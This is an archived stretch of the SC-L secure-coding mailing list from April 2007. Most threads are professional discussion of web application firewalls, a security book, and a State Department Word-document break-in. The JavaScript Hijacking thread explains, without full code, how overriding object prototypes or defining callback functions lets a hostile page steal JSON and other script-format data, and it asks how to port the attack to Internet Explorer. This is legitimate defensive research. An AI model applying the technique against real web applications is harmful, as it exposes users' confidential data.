In-Reply-To: <C236A401.2AC30%brian@fortifysoftware.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999873@AD1HFDEXC309.ad1.prod>

http://www.bookpool.com/sm/1590597842

Any thoughts positive and negative on this book?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From jms at bughunter.ca  Wed Apr  4 11:38:38 2007
From: jms at bughunter.ca (J. M. Seitz)
Date: Wed, 4 Apr 2007 08:38:38 -0700
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <773F863A6009244B87E6E866AFC7DB460399986D@AD1HFDEXC309.ad1.prod>
Message-ID: <005f01c776cf$517a35e0$4d07a8c0@jseitz>

> For many shops, having another type of firewall could cost 
> millions whereas putting tools in the hands of developers may 
> actually be cheaper. We as a community may be better served 
> by encouraging application firewalls and letting the 
> financial model for complying work in our favor...

I definitely agree, and I strongly disagree with Gary that application
firewalls are "hair brained" solutions. It's always my feeling, and I try to
put this into practice in my current role, is that security is a multi-layer
approach. From secure coding practice in development, proper QA cycle and
regression testing, deployment security touchpoints, and finally adding the
extra layer on the top is putting application layer firewalls in place,
which if we ever have a 0-day style vulnerability it's very quick to throw
in a rule to protect it, and begin working on a patch.

Now I know that your consulting business relies on you promoting "security
from the inside" but are you saying that application firewalls are pointless
and we should stop using them? Or are you saying that it's rediculous that
we ever got to the point where applications are so insecure that we need a
transaction-per-transaction inspection mechanism to make sure the bad guys
aren't getting us?

You may want to clarify this a little bit for us sec-newbs....

JS


From gem at cigital.com  Wed Apr  4 11:39:10 2007
From: gem at cigital.com (Gary McGraw)
Date: Wed, 4 Apr 2007 11:39:10 -0400
Subject: [SC-L] Foundations of Security: What Every Programmer Needs to
	Know
Message-ID: <83B3489DF1064F4E90218770D953D36113F08A@va-mail.cigital.com>

It was written by a PhD from stanford who worked with dan boneh.   He now works for google.  The book has lots of hands on examples which makes it powerful.

I think it's worth buying and reading.  I have a copy on my desk now.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com

 -----Original Message-----
From: 	McGovern, James F (HTSC, IT) [mailto:James.McGovern at thehartford.com]
Sent:	Wed Apr 04 11:32:31 2007
To:	sc-l at securecoding.org
Subject:	[SC-L] Foundations of Security: What Every Programmer Needs to Know

http://www.bookpool.com/sm/1590597842

Any thoughts positive and negative on this book?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From James.McGovern at thehartford.com  Wed Apr  4 11:56:51 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 4 Apr 2007 11:56:51 -0400
Subject: [SC-L] FW: Need Sec Forum speakers-let us know by Wed. if interested
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999879@AD1HFDEXC309.ad1.prod>

Awhile back, I mentioned the Technology forum in NYC and they are seeking speakers. Of course there are some constraints to whom may sign up. A "sponsor" may serve on a panel but otherwise, the speakers need to be from end-customer enterprises and not from software vendors or consulting firms. If you know of folks that can speak on their successes, they should definetely be encouraged to participate. 
 
NOTE: There is strong demand for Secure Coding Practices...
 
-----Original Message-----
From: Victoria Adams-TechForum [mailto:vadams at techforum.com]
Sent: Monday, April 02, 2007 5:10 PM
To: McGovern, James F (HTSC, IT)
Subject: Need Sec Forum speakers-let us know by Wed. if interested



TechForum members: Need speakers for panels-please let us know by Wednesday afternoon 
------------------------------------------------------------------------ 
Dear Members of Technology Managers Forum : 
Based on your votes, we've narrowed down the topics for the May 17th  <http://www.techforum.com/sf2007_1/index.html> Security Forum and are now looking for TF member speakers for the panels, or your recommendations for a colleague at your company. Please take a look at the topics below and let us know which ones, if any, you would be willing and able to speak on. We would like to hear back from you by Wednesday afternoon if possible. Also, let us know if you have anyone to recommend from your firm. 
Here are the top ranked topics (we will distill the topics into 4 panels eventually). Please let us know which topics you would be able to speak on--your first and second choice. If you have been on a panel very recently, we definitely still want you to volunteer, but we may ask you to be backup for a panel since we also like to give new members a chance to participate. 
(One note: "Human Engineering: Is Information Security a Social Problem?" was the top-ranked topic, but we thought we'd address this question within the context of every panel).

1: Secure Coding Practices & Strategic Applications: Which Comes First? 
2:Enterprise Security and Individual Privacy: When Two Worlds Collide 
3: The Forensic Edge: Will Security Event Monitoring Pay for Itself? 
4: Risk Management: Is Information Security the Whole Sandwich? 
5:Encryption: For some of the data, all of the time
6: Friendly Fire: Protecting the Network from its Own Endpoints
7: Secure Voice & Video: Miles to Go Before We Sleep
8: Security Is as Security Does: Dealing with the Insider Threat 



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070404/c2b0929a/attachment.html 

From dinis at ddplus.net  Wed Apr  4 13:38:53 2007
From: dinis at ddplus.net (Dinis Cruz)
Date: Wed, 4 Apr 2007 18:38:53 +0100
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <005f01c776cf$517a35e0$4d07a8c0@jseitz>
References: <773F863A6009244B87E6E866AFC7DB460399986D@AD1HFDEXC309.ad1.prod>
	<005f01c776cf$517a35e0$4d07a8c0@jseitz>
Message-ID: <701fd6b60704041038u58a15faap5b5f0f88e1f2d799@mail.gmail.com>

On 4/4/07, J. M. Seitz <jms at bughunter.ca> wrote:
>
> From secure coding practice in development, proper QA cycle and
> regression testing, deployment security touchpoints, and finally adding
> the
> extra layer on the top is putting application layer firewalls in place,
> which if we ever have a 0-day style vulnerability it's very quick to throw
> in a rule to protect it, and begin working on a patch.


Absolutely, for me the best use of WAFs is to use them to fix or mitigate
known (to the web application owner) vulnerabilities. This is the place
where you get maximum ROI from it.

Trying to use WAFs across the board on all pages and fields works ok for
simple web applications and for simple things (like detecting
SQL error messages going to the user), but give it a complex app, and you
will have massive and complex rules. They are also usually quite brutal in
their responses since they don't allow dynamic content manipulation, they
only allow binary decisions (aka 'when an attack is detect redirect to page
xyz')

And why don't the WAFs promote this use case more? Every time I have a 5h
discussion with them (last couple OWASP conferences :) ) they tell me that
their clients don't ask for it (which is not true since one of my clients
(major financial institution) uses a WAF do 'mitigate' known vulnerabilities
on a COTS).

I think the real reason is that the current WAFs (with some uses of
ModSecurity being an exception) don't have access to the state of the
application (i.e. the business layer and data layer) so there are tons of
vulnerabilities that they can't mitigate against. Basically in order to
mitigate a vulnerability the current WAFs needs that the application gives
them clues of what are valid and non-malicious requests (something that is
easy on technical vulnerabilities (aka SQL Injection) but very hard for
'Business Logic Vulnerabilities' (should this user be accessing this data or
making this transaction?')

This is why I jokingly said ' currently WAFs don't protect against layer 7
attacks, they only protect from Layer 7 1/2 attacks :)


Dinis Cruz
Chief OWASP Evangelist
http://www.owasp.org
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070404/d66dd6cc/attachment.html 

From bugtraq at cgisecurity.net  Wed Apr  4 15:11:12 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Wed, 4 Apr 2007 15:11:12 -0400 (EDT)
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <773F863A6009244B87E6E866AFC7DB460399986D@AD1HFDEXC309.ad1.prod>
Message-ID: <20070404191112.36620.qmail@cgisecurity.net>

> Gary, may I suggest an alternative response to application firewalls and the notion that it is hair-brained? Of course this is true but this list is missing a major opportunity to finally calculate an ROI model. If you ask yourself, what types of firewalls are pervasively deployed, you would find that application-firewalls aren't. This would then mean that folks would either need to replace their existing firewall (very risky that no one would ever consider), add multiple firewalls which introduce operational complexity, etc. 
> 
> For many shops, having another type of firewall could cost millions whereas putting tools in the hands of developers may actually be cheaper. We as a community may be better served by encouraging application firewalls and letting the financial model for complying work in our favor...
> 

I think that appfirewalls have value depending on your expectation and situation. If you have a small website that doesn't change 
much then there may be value. If you are in a serious need to pass PCI or some compliance requirement quickly, an app
firewall may buy you some time to address the problem correctly in development. If you have code pushes every 2 weeks with new 
content being added on a large website 
you need to understand that you'll need to hire an appfirewall person to constantly tweak rules plus the cost of the licenses.
App firewalls are IDS/IPS's and should be treated as such except that the specifics are slightly different because
it sits on the web layer which is considerably more complicated and dynamic. 

I'm an advocate of fixing the problem in the SDLC however one of the things that people fail to consider is SDLC integration
with an existing process and large code base takes months, sometimes years to get right. Until it is properly integrated
you're left with the decision of fixing vulns one at a time (as they come up) or/and placing additional filtering in place
to reduce risk. 

Regards,
- Robert Auger
http://www.cgisecurity.com/ Application security news and more
http://www.webappsec.org/   The Web Application Security Consortium
http://www.qasec.com/       Software Security Testing 



From EB41704 at jp.ibm.com  Thu Apr  5 22:32:33 2007
From: EB41704 at jp.ibm.com (Frederik De Keukelaere)
Date: Fri, 6 Apr 2007 11:32:33 +0900
Subject: [SC-L] JavaScript Hijacking
In-Reply-To: <1175617811.7199.68.camel@laptop>
Message-ID: <OF693160EF.CCDB584B-ON492572B5.000C872C-492572B5.000DE394@jp.ibm.com>

Hi Brian, Hi Stefano, 

<snip>
 
> Ok I see the difference. 
> You are taking advantage of a pure json CSRF with a evil script which
> contains a modified version of the Object prototype.
> And when the callback function is executed you use a XMLHttpRequest in
> order to send the information extracted by the instantiated object.

In the beginning of the paper there was a comment that the code that was 
presented was designed for use in Firefox but could be ported to IE or 
other browsers. However, since IE does not seem to have the setter methods 
(correct me if I am wrong), I did not quite find a way to achieve this in 
IE. 
We tried several things such as replacing Array and Object constructor as 
well as as overriding eval, neither of which worked. Do you have any 
suggestions about how to port this attack to IE?

Btw, thanks for the papers.

Kind Regards,

Fred

---
Frederik De Keukelaere, Ph.D.
Post-Doc Researcher
IBM Research, Tokyo Research Laboratory
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070406/b9ac46c2/attachment.html 

From brian at fortifysoftware.com  Mon Apr  9 00:31:04 2007
From: brian at fortifysoftware.com (Brian Chess)
Date: Sun, 08 Apr 2007 21:31:04 -0700
Subject: [SC-L] SC-L Digest, Vol 3, Issue 73
In-Reply-To: <mailman.1.1175875201.94787.sc-l@securecoding.org>
Message-ID: <C23F0F98.2B142%brian@fortifysoftware.com>

Hi Frederik, 
You're right that IE does not have the setter methods.  You're also right
that hijacking the Object() or Array() constructor method would be enough to
pull off the attack.  The bad (good?) news is that IE doesn't call those
methods unless an object is explicitly created with the "new" keyword.  We
got this wrong when we looked at it initially, which is why we said the code
could be ported to IE.  We're going to go back and fix that in the paper.

Of course, any JavaScript data transport format that explicitly calls a
function is vulnerable in all browsers.  Over the last week or two I've been
learning that people are moving data around using a lot more than just JSON,
though JSON is the clear front-runner.

Brian

> 
> Message: 1
> Date: Fri, 6 Apr 2007 11:32:33 +0900
> From: Frederik De Keukelaere <EB41704 at jp.ibm.com>
> Subject: Re: [SC-L] JavaScript Hijacking
> To: sc-l at securecoding.org
> Message-ID:
> <OF693160EF.CCDB584B-ON492572B5.000C872C-492572B5.000DE394 at jp.ibm.com>
> Content-Type: text/plain; charset="us-ascii"
> 
> Hi Brian, Hi Stefano,
> 
> <snip>
>  
>> Ok I see the difference.
>> You are taking advantage of a pure json CSRF with a evil script which
>> contains a modified version of the Object prototype.
>> And when the callback function is executed you use a XMLHttpRequest in
>> order to send the information extracted by the instantiated object.
> 
> In the beginning of the paper there was a comment that the code that was
> presented was designed for use in Firefox but could be ported to IE or
> other browsers. However, since IE does not seem to have the setter methods
> (correct me if I am wrong), I did not quite find a way to achieve this in
> IE. 
> We tried several things such as replacing Array and Object constructor as
> well as as overriding eval, neither of which worked. Do you have any
> suggestions about how to port this attack to IE?
> 
> Btw, thanks for the papers.
> 
> Kind Regards,
> 
> Fred
> 
> ---
> Frederik De Keukelaere, Ph.D.
> Post-Doc Researcher
> IBM Research, Tokyo Research Laboratory
> -------------- next part --------------
> An HTML attachment was scrubbed...
> URL: 
> http://krvw.com/pipermail/sc-l/attachments/20070406/b9ac46c2/attachment-0001.h
> tml 
> 
> ------------------------------
> 
> _______________________________________________
> SC-L mailing list
> SC-L at securecoding.org
> http://krvw.com/mailman/listinfo/sc-l
> 
> 
> End of SC-L Digest, Vol 3, Issue 73
> ***********************************


From EB41704 at jp.ibm.com  Mon Apr  9 00:45:39 2007
From: EB41704 at jp.ibm.com (Frederik De Keukelaere)
Date: Mon, 9 Apr 2007 13:45:39 +0900
Subject: [SC-L] SC-L Digest, Vol 3, Issue 73
In-Reply-To: <C23F0F98.2B142%brian@fortifysoftware.com>
Message-ID: <OFF241BB7A.8DF11DCE-ON492572B8.001971E1-492572B8.001A1370@jp.ibm.com>

Brian Chess <brian at fortifysoftware.com> wrote on 2007/04/09 13:31:04:

> Hi Frederik, 

Hi Brian,

> You're right that IE does not have the setter methods.  You're also 
right
> that hijacking the Object() or Array() constructor method would be 
enough to
> pull off the attack.  The bad (good?) news is that IE doesn't call those
> methods unless an object is explicitly created with the "new" keyword. 
We
> got this wrong when we looked at it initially, which is why we said the 
code
> could be ported to IE.  We're going to go back and fix that in the 
paper.

Thanks for your reply. Since there is much more to JavaScript than that I 
originally anticipated, I thought we missed something in our experiments.
 
> Of course, any JavaScript data transport format that explicitly calls a
> function is vulnerable in all browsers.  Over the last week or two I've 
been
> learning that people are moving data around using a lot more than just 
JSON,
> though JSON is the clear front-runner.

Would you mind sharing the different data formats you came across for 
exchanging data in mashups/Web 2.0? Considering the challenges you 
recently discovered, it might be good to have such an overview to look at 
it from a security point of view.
 
> Brian

Frederik

---
Frederik De Keukelaere, Ph.D.
Post-Doc Researcher
IBM Research, Tokyo Research Laboratory
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070409/a94d1b5a/attachment.html 

From ken at krvw.com  Mon Apr  9 11:12:07 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Mon, 9 Apr 2007 11:12:07 -0400
Subject: [SC-L] Stakes are High for Vista Security
Message-ID: <3C6751CE-D8C1-40F4-8F0F-480C7CF8215C@krvw.com>

<shameless-self-plug>

I hope that some of you will find my April column over on  
eSecurityPlanet interesting.  It can be found (for free) at the link  
below.  If not, just press the old delete key.

http://www.esecurityplanet.com/article.php/11162_3670486_2

</shameless-self-plug>

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070409/24a25027/attachment.bin 

From ken at krvw.com  Mon Apr  9 12:08:14 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Mon, 9 Apr 2007 12:08:14 -0400
Subject: [SC-L] Stakes are High for Vista Security
In-Reply-To: <3C6751CE-D8C1-40F4-8F0F-480C7CF8215C@krvw.com>
References: <3C6751CE-D8C1-40F4-8F0F-480C7CF8215C@krvw.com>
Message-ID: <54379376-107A-4840-AC3D-2948B42A0B3E@krvw.com>

On Apr 9, 2007, at 11:12 AM, Kenneth Van Wyk wrote:
> http://www.esecurityplanet.com/article.php/11162_3670486_2

Sorry folks -- I inadvertently posted the URL to page 2 of the  
column.  Page 1 is at http://www.esecurityplanet.com/article.php/3670486

Sorry for the inconvenience (and the list clutter).  Mea culpa++

Cheers,

Ken van Wyk


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070409/fa71f1fd/attachment.bin 

From daswani at cs.stanford.edu  Tue Apr 10 10:28:11 2007
From: daswani at cs.stanford.edu (Neil Daswani)
Date: Tue, 10 Apr 2007 07:28:11 -0700
Subject: [SC-L] Foundations of Security: What Every Programmer Needs to
	Know
Message-ID: <a12af23e0704100728u75bf5179j2c480e3fde4baa73@mail.gmail.com>

For those of you that might be potentially interested in the book, following
are some pointers to where you can get more information about it:

* The preface and Vint Cerf's foreword for the book are available under the
"Book Extras" section at:

http://www.apress.com/book/bookDisplay.html?bID=10225

* An excerpt from Chapter 3 of the book (on "Secure Design Principles") is
available at:

http://www.developer.com/java/data/article.php/3667601

* If you are an instructor or an IT professional responsible for training, I
have provided slides and source code that you are free to use for your own
courses and needs at the book's web site (http://www.learnsecurity.com/ntk)
free of charge.  If you might be potentially interested in using the book in
classes or buying copies for your organization, I would be more than happy
to have the publisher provide you with a free evaluation copy of the book--
just send me a quick email with your contact information.

Please feel free to let me know if you have any questions or feedback, and I
look forward to continue helping disseminate knowledge about secure coding
practices.

Sincerely,

Neil Daswani, PhD
http://www.neildaswani.com/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070410/c2c3cb06/attachment.html 

From gem at cigital.com  Fri Apr 13 17:32:32 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 13 Apr 2007 17:32:32 -0400
Subject: [SC-L] Silver Bullet: Ross Anderson
Message-ID: <83B3489DF1064F4E90218770D953D36113F19F@va-mail.cigital.com>

Hi all,

A faithful reader of sc-l (and a long time silver bullet listener) suggested that I interview Ross Anderson for an episode.   By popular demand, here's Ross:

http://www.cigital.com/silverbullet/show-013/

This episode will appear in an upcoming issue of IEEE Security & Privacy magazine.  S&P co-sponsors Silver Bullet along with Cigital.

As usual, there is some talk about software security in this episode.  Your feedback is welcome!

gem

company www.cigital.com
blog www.cigital.com/justiceleague
book www.swsec.com 


Sent from my treo.


----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From ed.reed at aesec.com  Thu Apr 19 09:14:45 2007
From: ed.reed at aesec.com (Ed Reed)
Date: Thu, 19 Apr 2007 09:14:45 -0400
Subject: [SC-L] State Department break-in last summer
Message-ID: <46276B45.5020604@aesec.com>

http://news.yahoo.com/s/ap/20070419/ap_on_hi_te/hackers_state_department

This article describes a Trojan horse attack introduced via MS Office
(Word) documents that provided remote access by adversaries to
compromised systems.  It doesn't say if the exploit - "design flaw" -
was intentionally introduced (a product of deliberate subversion) or
not.  While the article may provide "comfort" to the "defense in depth"
crowd (the State department THINKS the issue was discovered immediately
- but then again, after they were made aware of it - so they knew what
to watch for - they found numerous other compromised systems, so I
wonder how many haven't (yet) been caught).

This isn't terribly surprising, but it brings to mind a new insight (for
me, anyway) into the issue that government and commercial customers are
facing.

We've (Aesec) been saying that subversion (deliberately introduced
design and implementation defects into a customer's IT supply chain) is
the preferred avenue of attack of professional adversaries, and I agree
that it is.

We've (Aesec) also noted that the commercial security industry is
largely focused, instead, on discovering and patching software defects
that can be easily discovered (via fuzzing and testing) and exploited to
gain access to systems.

Both those two avenues can lead to serious security breeches.

But it's not necessary to plant an operative into a vendor's shop in a
position to introduce flaws into software to gain advantage.  Simply
knowing enough about the internal design and implementation of the
system is likely to provide the adversary with the knowledge and
opportunity to discover paths of attack that can be researched at their
leisure, held until needed as what would be considered a private "zero
day exploit".

So at one end of the spectrum of malicious attacks are pure opportunists
(including amateurs and script kiddies) using defects discovered through
fuzzing interfaces and related black box testing techniques.  At the
other end of the scale are paid professional operatives infiltrating
vendor development and delivery supply chains to introduce defects
intentionally.  And in the middle are those with "gray box" knowledge of
products involved, who are in a better position than the public to
identify attack vectors worth investigating.

This middle ground would seem to significantly increase the threat -
there are many more jobs in vendor organizations (and their supply and
support chains) that provide privileged insight to product design,
development, implementation and delivery than there are with direct code
modification roles in the product.  So I think you'd have to assume that
the pool of unreported zero day exploits may be much larger than
generally expected.

Just a thought.

This doesn't reduce the challenge or need to deal with subversion by the
professional adversary - it just expands my appreciation for the size of
the threat customers face.

Ed


  State Department got mail _ and hackers


By TED BRIDIS, Associated Press Writer/Wed Apr 18, 8:29 PM ET/

A break-in targeting State Department computers worldwide last summer
occurred after a department employee in Asia opened a mysterious e-mail
that quietly allowed hackers inside the U.S. government's network.

*In the first public account revealing details about the intrusion and
the government's hurried behind-the-scenes response, a senior State
Department official described an elaborate ploy by sophisticated
international hackers. They used a secret break-in technique that
exploited a design flaw in Microsoft software.*

Consumers using the same software remained vulnerable until months
afterward.

Donald R. Reid, the senior security coordinator for the Bureau of
Diplomatic Security, also confirmed that a limited amount of U.S.
government data was stolen by the hackers until tripwires severed all
the State Department's Internet connections throughout eastern Asia. The
shut-off left U.S. government offices without Internet access in the
tense weeks preceding missile tests by North Korea.

Reid was scheduled to testify Thursday at a cybersecurity hearing for a
House Homeland Security subcommittee. He was expected to tell lawmakers
an employee in the State Department's Bureau of East Asian and Pacific
Affairs --- which coordinates diplomacy in countries including China,
the Koreas and Japan --- opened a rigged e-mail message in late May
giving hackers access to the government's network.

*The chairman of the Homeland Security Committee, Rep. Bennie Thompson
(news, bio, voting record), D-Miss., said hackers are no longer
considered harmless, bored teenagers. "These are experienced,
sophisticated people who are trying to exploit our vulnerabilities and
gain access to our information," Thompson said.*

Reid was not expected to disclose the identities or nationalities of the
hackers believed to be responsible for the break-ins or to disclose
whether U.S. authorities believe a foreign government was responsible.
The department struggled with the break-ins between May and early July.

*The panel's chairman, Rep. James R. Langevin, D-R.I., called
cybersecurity an often-overlooked line of defense. "Since much of our
critical infrastructure is dependent on computers and networks and is
interconnected and interdependent, a cyberattack could disrupt major
services and cripple economic activity," Langevin said.*

The mysterious State Department e-mail appeared to be legitimate and
included a Microsoft Word document with material from a congressional
speech related to Asian diplomacy, Reid said. By opening the document,
the employee activated hidden software commands establishing what Reid
described as backdoor communications with the hackers.

*The technique exploited a previously unknown design flaw in Microsoft's
Office software, Reid said. *State Department officials worked with the
Homeland Security Department and even the FBI to urge Microsoft to
develop quickly a protective software patch, but the company did not
offer the patch until Aug. 8 --- *roughly eight weeks after the break-in.*

Microsoft said it works as quickly as possible to provide customers with
security updates.

"If we release a security update that is not adequately tested, we could
potentially put customers at risk, especially as the release of an
update can lead to reverse-engineering the fix and lead to broader
attacks," said Microsoft's senior security strategist, Phil Reitinger.
"Updates must be able to be deployed by customers with confidence."

At the time, Microsoft described the software flaw as "a newly
discovered, privately reported vulnerability" but did not suggest any
connection to the U.S. government break-in. It urged consumers to apply
the update immediately. It also recommended that consumers not open or
save Microsoft Office files they receive from sources they don't trust
or files they receive unexpectedly from trusted sources.

*The State Department detected its first break-in immediately, Reid
said, and worked to block suspected communications with the hackers. But
during its investigation, it discovered new break-ins at its Washington
headquarters and other offices in eastern Asia, Reid said.*

*At first, the hackers did not immediately appear to try stealing any
U.S. government data. Authorities quietly monitored the hackers'
activity, then tripwires severed Internet connections in the region
after a limited amount of data was detected being stolen, Reid said.*

Reid also complained the State Department's efforts to deal quietly with
the break-in were disrupted by news reports. The Associated Press was
first to reveal the intrusions.

"We were successful here until a newspaper article telegraphed what we
were dealing with," Reid said.

Copyright ? 2007 The Associated Press. All rights reserved. The
information contained in the AP News report may not be published,
broadcast, rewritten or redistributed without the prior written
authority of The Associated Press.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070419/31c20d0b/attachment.html 

From brian at fortifysoftware.com  Thu Apr 19 14:47:41 2007
From: brian at fortifysoftware.com (Brian Chess)
Date: Thu, 19 Apr 2007 11:47:41 -0700
Subject: [SC-L] JavaScript Hijacking
In-Reply-To: <mailman.1.1176134401.14199.sc-l@securecoding.org>
Message-ID: <C24D075D.2BAA5%brian@fortifysoftware.com>


Frederik De Keukelaere <EB41704 at jp.ibm.com> writes:
> Would you mind sharing the different data formats you came across for
> exchanging data in mashups/Web 2.0? Considering the challenges you
> recently discovered, it might be good to have such an overview to look at
> it from a security point of view.

Oops, sorry for taking so long to respond.  In addition to JSON, I've seen
two other uses of JavaScript as a data transport format.

1) JavaScript arrays
Example: [ "a", "b", "c" ]

Technically speaking, this is a subset of JSON, but in these systems there
is no notion of an object, only an array.  These systems are more vulnerable
than systems using JSON because they're guaranteed to always use array
syntax.


2) Function calls
Example:  addRecord("a", "b", "c");

This format is even easier to hijack, just define the named function.  This
is the worst of the bunch from a confidentiality standpoint.

Regards,
Brian


From nick at virus-l.demon.co.uk  Thu Apr 19 21:11:04 2007
From: nick at virus-l.demon.co.uk (Nick FitzGerald)
Date: Fri, 20 Apr 2007 13:11:04 +1200
Subject: [SC-L] State Department break-in last summer
In-Reply-To: <mailman.1.1176998401.9630.sc-l@securecoding.org>
References: <mailman.1.1176998401.9630.sc-l@securecoding.org>
Message-ID: <4628BBE8.29151.A6C9A016@nick.virus-l.demon.co.uk>

Ed Reed wrote:

> http://news.yahoo.com/s/ap/20070419/ap_on_hi_te/hackers_state_department
> 
> This article describes a Trojan horse attack introduced via MS Office
> (Word) documents that provided remote access by adversaries to
> compromised systems.  It doesn't say if the exploit - "design flaw" -
> was intentionally introduced (a product of deliberate subversion) or
> not.  ...

Well, odds are not, given the source of the software in question (and, 
no, I don't mean that I think MS has much better security screening of 
its employees...  8-) ).

> ...  While the article may provide "comfort" to the "defense in depth"
> crowd (the State department THINKS the issue was discovered immediately
> - but then again, after they were made aware of it - so they knew what
> to watch for - they found numerous other compromised systems, so I
> wonder how many haven't (yet) been caught).

Indeed...

> This isn't terribly surprising, but it brings to mind a new insight (for
> me, anyway) into the issue that government and commercial customers are
> facing.
> 
> We've (Aesec) been saying that subversion (deliberately introduced
> design and implementation defects into a customer's IT supply chain) is
> the preferred avenue of attack of professional adversaries, and I agree
> that it is.
> 
> We've (Aesec) also noted that the commercial security industry is
> largely focused, instead, on discovering and patching software defects
> that can be easily discovered (via fuzzing and testing) and exploited to
> gain access to systems.
> 
> Both those two avenues can lead to serious security breeches.
> 
> But it's not necessary to plant an operative into a vendor's shop in a
> position to introduce flaws into software to gain advantage.  Simply
> knowing enough about the internal design and implementation of the
> system is likely to provide the adversary with the knowledge and
> opportunity to discover paths of attack that can be researched at their
> leisure, held until needed as what would be considered a private "zero
> day exploit".
> 
> So at one end of the spectrum of malicious attacks are pure opportunists
> (including amateurs and script kiddies) using defects discovered through
> fuzzing interfaces and related black box testing techniques.  At the
> other end of the scale are paid professional operatives infiltrating
> vendor development and delivery supply chains to introduce defects
> intentionally.  And in the middle are those with "gray box" knowledge of
> products involved, who are in a better position than the public to
> identify attack vectors worth investigating.
> 
> This middle ground would seem to significantly increase the threat -
> there are many more jobs in vendor organizations (and their supply and
> support chains) that provide privileged insight to product design,
> development, implementation and delivery than there are with direct code
> modification roles in the product.  So I think you'd have to assume that
> the pool of unreported zero day exploits may be much larger than
> generally expected.

I agree with all this, but...

You -- and all journalistic and other commentaries I've seen/heard on 
the increasingly common use of these targetted Office exploits -- miss 
one very important option, I think; the attacker has access to 
(partial) source of the closed, supposedly closely-held, proprietary 
software in question.

Recall the rumours and stories from a few years back of the MS source-
code thefts?  From memory, reputedly (most of) Win2K, some of WinXP (?) 
and (parts of) Office were stolen.  Parts of these thefts were clearly 
confirmed with (parts of) Windows OS source becoming downloadable from 
various "underground" sources sometime later.

Further, and more speculative, was the suggestion that the reputed 
(earlier) MS break-in (as opposed to the third-party licensee from 
which the OS source code was reputedly "clearly" obtained) was a 
Russian or Chinese hacker/hacking group.

Some say that there were multiple break-ins at MS around that time and 
that both Russian and Chinese groups were involved.

Nowadays most of the publicly discussed/disclosed targetted Office 
exploits have been attributed to Chinese-based "attackers".

Also of some interest might be the fact that it seems (at least to me) 
if there are version specificities in the exploits used in these 
targetted attacks, these more commonly restrict the applicability of 
the exploit to the older Office product versions.  Now, this may be 
indicative of overall improvements in MS code standards due to SDLC 
(are newer versions of Office distilled through SDLC?) and compiler 
"security" improvements, but it might also be indicative of the 
"attackers" (or, at least those they buy their exploits from) having 
access to the reputed/rumoured stolen Office source which, if it ever 
was stolen, would be code of older versions of Office and thus be more 
likely to have changed, and thus not exhibit the same vulnerabilities, 
in newer versions.

> Just a thought.

Ditto...


Regards,

Nick FitzGerald


From fw at deneb.enyo.de  Fri Apr 20 15:41:48 2007
From: fw at deneb.enyo.de (Florian Weimer)
Date: Fri, 20 Apr 2007 21:41:48 +0200
Subject: [SC-L] State Department break-in last summer
